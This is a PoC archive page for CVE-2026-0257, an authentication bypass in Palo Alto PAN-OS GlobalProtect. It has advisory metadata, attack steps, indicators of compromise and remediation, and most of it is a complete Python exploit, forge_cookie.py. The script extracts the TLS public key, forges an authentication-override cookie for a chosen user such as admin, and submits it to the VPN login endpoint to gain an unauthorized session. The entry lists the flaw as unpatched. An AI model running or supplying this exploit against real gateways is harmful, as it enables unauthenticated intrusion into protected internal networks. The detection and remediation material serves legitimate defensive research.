PoC Archive PoC Archive
High CVE-2026-0257 unpatched

PAN-OS GlobalProtect Authentication Bypass via Forged Cookie (CVE-2026-0257)

by sfewer-r7 (Rapid7) · 2026-07-01

CVSS 7.8/10
Severity
High
CVE
CVE-2026-0257
Category
web
Affected product
Palo Alto Networks PAN-OS — GlobalProtect portal and gateway (also affects certain Prisma Access deployments)
Affected versions
Deployments with GlobalProtect authentication-override cookies enabled and the same certificate reused for both the HTTPS service and cookie encryption/decryption
Disclosed
2026-07-01
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-01
Last Updated2026-05-29
Author / Researchersfewer-r7 (Rapid7)
CVE / AdvisoryCVE-2026-0257
Categoryweb
SeverityHigh
CVSS Score7.8 (CVSSv3)
StatusPoC
Tagsauth-bypass, VPN, GlobalProtect, PAN-OS, Palo-Alto, certificate-bypass, cookie-forgery, Prisma-Access, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemPalo Alto Networks PAN-OS — GlobalProtect portal and gateway (also affects certain Prisma Access deployments)
Versions AffectedDeployments with GlobalProtect authentication-override cookies enabled and the same certificate reused for both the HTTPS service and cookie encryption/decryption
Language / PlatformPython (PoC)
Authentication RequiredNo (authentication is what is bypassed)
Network Access RequiredYes (HTTPS to GlobalProtect portal/gateway)

Summary

CVE-2026-0257 is an authentication bypass in the GlobalProtect portal and gateway components of PAN-OS. In configurations where the same TLS certificate is reused for both the HTTPS service and the authentication-override cookie’s encryption/decryption, an attacker can extract the public key exposed by the HTTPS service and use it to forge an authentication-override cookie that the appliance accepts. The vulnerable cookie-handling path (main_DecryptAppAuthCookie) decrypts and trusts cookie contents without sufficient authenticity/signature validation, letting an unauthenticated remote attacker bypass GlobalProtect authentication and establish an unauthorized VPN session. Panorama and Cloud NGFW are not affected. Rapid7’s public analysis of this issue (2026-05-29) prompted Palo Alto Networks to revise the CVSS score upward from 4.7 to 7.8.


Vulnerability Details

Root Cause

The GlobalProtect authentication-override cookie mechanism decrypts and trusts attacker-suppliable cookie contents without verifying an authenticity signature bound to the cookie. When the HTTPS service certificate is reused for cookie encryption, the public key needed to forge a valid-looking cookie is trivially obtainable from the TLS handshake itself.

Attack Vector

  1. Connect to the target GlobalProtect portal/gateway and retrieve its TLS certificate chain.
  2. For each certificate/public key in the chain, construct a candidate authentication-override cookie using the flaw in main_DecryptAppAuthCookie.
  3. Submit each forged cookie to the portal/gateway and observe the response to determine whether the bypass succeeded.
  4. A successful forged cookie authenticates the attacker without valid credentials, establishing an unauthorized VPN session.

Impact

Unauthenticated remote attacker bypasses GlobalProtect authentication and gains a VPN session into the internal network protected by the gateway.


Environment / Lab Setup

Target:   PAN-OS GlobalProtect portal/gateway with authentication-override cookies enabled
           and shared HTTPS/cookie-encryption certificate
Attacker: Python 3

Proof of Concept

PoC Script

See forge_cookie.py in this folder.

1
python3 forge_cookie.py <target_host>

The script iterates the target’s TLS certificate chain, forges an authentication-override cookie for each public key found, and tests each against the GlobalProtect portal/gateway to identify a working bypass.


Detection & Indicators of Compromise

Signs of compromise:

  • VPN sessions authenticated via cookie with no matching prior valid login
  • Sessions originating from unexpected source IPs shortly after repeated cookie-forgery probing
  • GlobalProtect deployments where the HTTPS service certificate is reused for cookie encryption (config weakness itself is a detectable indicator)

Remediation

ActionDetail
Primary fixApply the Palo Alto Networks PAN-OS advisory fix for CVE-2026-0257
Configuration hardeningDo not reuse the same certificate for the HTTPS service and authentication-override cookie encryption/decryption
VerifyPalo Alto Networks Security Advisory: https://security.paloaltonetworks.com/CVE-2026-0257

References


Notes

Auto-ingested from https://github.com/sfewer-r7/CVE-2026-0257 on 2026-07-01. Author is a named Rapid7 researcher whose analysis prompted PAN’s CVSS score revision from 4.7 to 7.8. Several other public repos exist for this CVE (Ez4rd1x1, tushargurav28, bolubey) — this one was selected as the primary/highest-confidence source.

forge_cookie.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
"""
Forge a GlobalProtect authentication override cookie using only the public key.

Retrieves the CA certificate from the TLS handshake (unauthenticated),
encrypts a forged cookie for the specified user, and tests it against
the gateway (and optionally the portal) to bypass authentication.
"""

import argparse
import base64
import re
import ssl
import socket
import time
import urllib.request
import urllib.parse

from cryptography import x509
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding


def _extract_certs_from_tls_handshake(host, port):
    """
    Intercept raw TLS handshake bytes via MemoryBIO and parse the Certificate
    message to extract all certs the server sends. Works on Python 3.6+.
    Forces TLS 1.2 so the Certificate message is sent in plaintext.
    """
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    # Force TLS 1.2 - in TLS 1.3 the Certificate message is encrypted
    ctx.maximum_version = ssl.TLSVersion.TLSv1_2

    incoming = ssl.MemoryBIO()
    outgoing = ssl.MemoryBIO()
    sslobj = ctx.wrap_bio(incoming, outgoing, server_hostname=host)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))

    raw_from_server = bytearray()

    try:
        while True:
            # Always flush any pending outgoing TLS data first
            out_data = outgoing.read()
            if out_data:
                sock.sendall(out_data)

            try:
                sslobj.do_handshake()
                # Handshake complete, flush remaining
                out_data = outgoing.read()
                if out_data:
                    sock.sendall(out_data)
                break
            except ssl.SSLWantReadError:
                pass
            except ssl.SSLWantWriteError:
                continue

            # Non-blocking peek: only recv if data is available
            sock.setblocking(False)
            try:
                data = sock.recv(16384)
                if not data:
                    break
                raw_from_server.extend(data)
                incoming.write(data)
            except (BlockingIOError, socket.error):
                # No data yet; flush outgoing and retry
                sock.setblocking(True)
                sock.settimeout(10)
                out_data = outgoing.read()
                if out_data:
                    sock.sendall(out_data)
                # Now wait for data with timeout
                data = sock.recv(16384)
                if not data:
                    break
                raw_from_server.extend(data)
                incoming.write(data)
            finally:
                sock.setblocking(True)
                sock.settimeout(10)
    except (ssl.SSLError, socket.timeout, OSError):
        pass
    finally:
        sock.close()

    return _parse_certs_from_tls_records(bytes(raw_from_server))


def _parse_certs_from_tls_records(data):
    """Parse raw TLS records to extract certificates from the Certificate handshake message."""
    # First pass: reassemble all handshake record payloads (type 22)
    handshake_data = bytearray()
    i = 0
    while i + 5 <= len(data):
        content_type = data[i]
        record_length = int.from_bytes(data[i + 3:i + 5], "big")
        if i + 5 + record_length > len(data):
            break
        if content_type == 22:  # Handshake
            handshake_data.extend(data[i + 5:i + 5 + record_length])
        i += 5 + record_length

    # Second pass: walk handshake messages looking for Certificate (type 11)
    certs = []
    j = 0
    while j + 4 <= len(handshake_data):
        hs_type = handshake_data[j]
        hs_length = int.from_bytes(handshake_data[j + 1:j + 4], "big")
        if j + 4 + hs_length > len(handshake_data):
            break

        if hs_type == 11:  # Certificate
            body = handshake_data[j + 4:j + 4 + hs_length]
            if len(body) >= 3:
                certs_total_len = int.from_bytes(body[0:3], "big")
                k = 3
                while k + 3 <= len(body) and k < 3 + certs_total_len:
                    cert_len = int.from_bytes(body[k:k + 3], "big")
                    if k + 3 + cert_len > len(body):
                        break
                    cert_der = bytes(body[k + 3:k + 3 + cert_len])
                    certs.append(x509.load_der_x509_certificate(cert_der))
                    k += 3 + cert_len
            break  # Found what we need

        j += 4 + hs_length

    return certs


def get_all_public_keys(host, port=443):
    """Extract all public keys from the TLS certificate chain (unauthenticated)."""
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
        s.connect((host, port))

        # Python 3.10+ exposes get_unverified_chain() directly
        if hasattr(s, "get_unverified_chain"):
            der_chain = s.get_unverified_chain()
            return [x509.load_der_x509_certificate(der) for der in der_chain]

    # Fallback for older Python: parse raw TLS handshake to get full cert chain
    certs = _extract_certs_from_tls_handshake(host, port)
    if certs:
        return certs

    # Last resort: only the leaf certificate via stdlib (no full chain)
    with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
        s.connect((host, port))
        der_bytes = s.getpeercert(binary_form=True)
    return [x509.load_der_x509_certificate(der_bytes)]


def forge_cookie(public_key, username, domain="", host_id="", client_ip="0.0.0.0", client_os="Windows"):
    """Forge an authentication override cookie."""
    timestamp = int(time.time())
    plaintext = f"{username};{domain};{client_os};{host_id};{timestamp};{client_ip}"
    ciphertext = public_key.encrypt(plaintext.encode(), padding.PKCS1v15())
    return base64.b64encode(ciphertext).decode()


def test_cookie(host, port, cookie_b64, username, context="gateway", client_os="Windows", host_id=""):
    """Test the forged cookie against the GP endpoint."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    params = {
        "prot": "https",
        "server": host,
        "inputStr": "",
        "jnlpReady": "jnlpReady",
        "ok": "Login",
        "direct": "yes",
        "clientVer": "4100",
        "user": username,
        "passwd": "",
        "context": context,
        "clientos": client_os,
        "clientgpversion": "6.0.0",
        "host-id": host_id,
        "computer": "",        
        "os-version": "Microsoft Windows 10 Pro 64-bit",
        "portal-userauthcookie": cookie_b64,
        "portal-prelogonuserauthcookie": "",
    }
    body = urllib.parse.urlencode(params)

    url = f"https://{host}:{port}/ssl-vpn/login.esp" if port != 443 else f"https://{host}/ssl-vpn/login.esp"
    req = urllib.request.Request(url, data=body.encode(), method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read().decode()
    except urllib.error.HTTPError as e:
        return f"HTTP {e.code}"


def main():
    parser = argparse.ArgumentParser(
        description="Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257)."
    )
    parser.add_argument("--target", required=True, help="Target GlobalProtect portal or gateway (IP or hostname)")
    parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)")
    parser.add_argument("--user", default="admin", help="Username to forge cookie for (default: admin)")
    parser.add_argument("--domain", default="", help="Domain for cookie (default: empty)")
    parser.add_argument("--host-id", default="", help="Host ID for cookie (default: empty)")
    parser.add_argument("--client-os", default="Windows", help="Client OS for cookie (default: Windows)")
    parser.add_argument("--client-ip", default="0.0.0.0", help="Client IP in cookie (default: 0.0.0.0)")
    parser.add_argument("--context", choices=["gateway", "portal", "both"], default="both",
                        help="Context to test: gateway, portal, or both (default target)")
    parser.add_argument("--verbose", action="store_true", help="Print full response")
    args = parser.parse_args()

    # Step 1: Get all public keys from TLS chain
    print(f"[*] Retrieving certificate chain from {args.target}:{args.port} ...")
    certs = get_all_public_keys(args.target, args.port)
    print(f"  Found {len(certs)} certificate(s) in chain:")
    for i, cert in enumerate(certs):
        cn = cert.subject.rfc4514_string()
        try:
            bc = cert.extensions.get_extension_for_class(x509.BasicConstraints)
            is_ca = bc.value.ca
        except x509.ExtensionNotFound:
            is_ca = False
        print(f"  [{i}] {cn} (RSA {cert.public_key().key_size} bits, CA={is_ca})")

    # Determine which contexts to test
    if args.context == "both":
        contexts = ["gateway", "portal"]
    else:
        contexts = [args.context]

    # Step 2: Try each key until one works
    print(f"\n[*] Forging cookie for user '{args.user}', testing each key")
    success = False
    for i, cert in enumerate(certs):
        cn = cert.subject.rfc4514_string()
        public_key = cert.public_key()
        print(f"\n  Trying [{i}] {cn}")

        cookie_b64 = forge_cookie(public_key, args.user, args.domain, args.host_id, args.client_ip, args.client_os)

        for context in contexts:
            response = test_cookie(args.target, args.port, cookie_b64, args.user, context, args.client_os, args.host_id)

            if context == "gateway":
                # Gateway returns XML with <status>Success</status> or config data
                if "<status>Success</status>" in response or ("<argument>" in response and args.user in response):
                    print(f"  [+] Success - Gateway accepted the forged cookie")
                    print(f"  Cookie: {cookie_b64}")                    
                    if args.verbose:
                        print(f"\n    Full response:\n{response}")
                    success = True
                    break
                else:
                    print(f"  [-] Failure - Gateway did not accepted the forged cookie")
                    if args.verbose:
                        print(f"    Response: {response}")
            else:
                # Portal returns JNLP XML with <argument> elements
                if "<argument>" in response and args.user in response:
                    args_list = re.findall(r"<argument>(.*?)</argument>", response)
                    print(f"  [+] Success - Portal accepted the forged cookie")
                    print(f"  Cookie:     {cookie_b64}")                    
                    print(f"  Auth token: {args_list[1] if len(args_list) > 1 else 'N/A'}")
                    print(f"  Username:   {args_list[4] if len(args_list) > 4 else 'N/A'}")
                    print(f"  Gateway:    {args_list[3] if len(args_list) > 3 else 'N/A'}")
                    if args.verbose:
                        print(f"\n    Full response:\n{response}")
                    success = True
                    break
                else:
                    print(f"  [-] Failure - Portal did not accepted the forged cookie")
                    if args.verbose:
                        print(f"    Response: {response}")

        if success:
            break

    if not success:
        print(f"\n[-] No key in the chain produced a valid cookie.")


if __name__ == "__main__":
    main()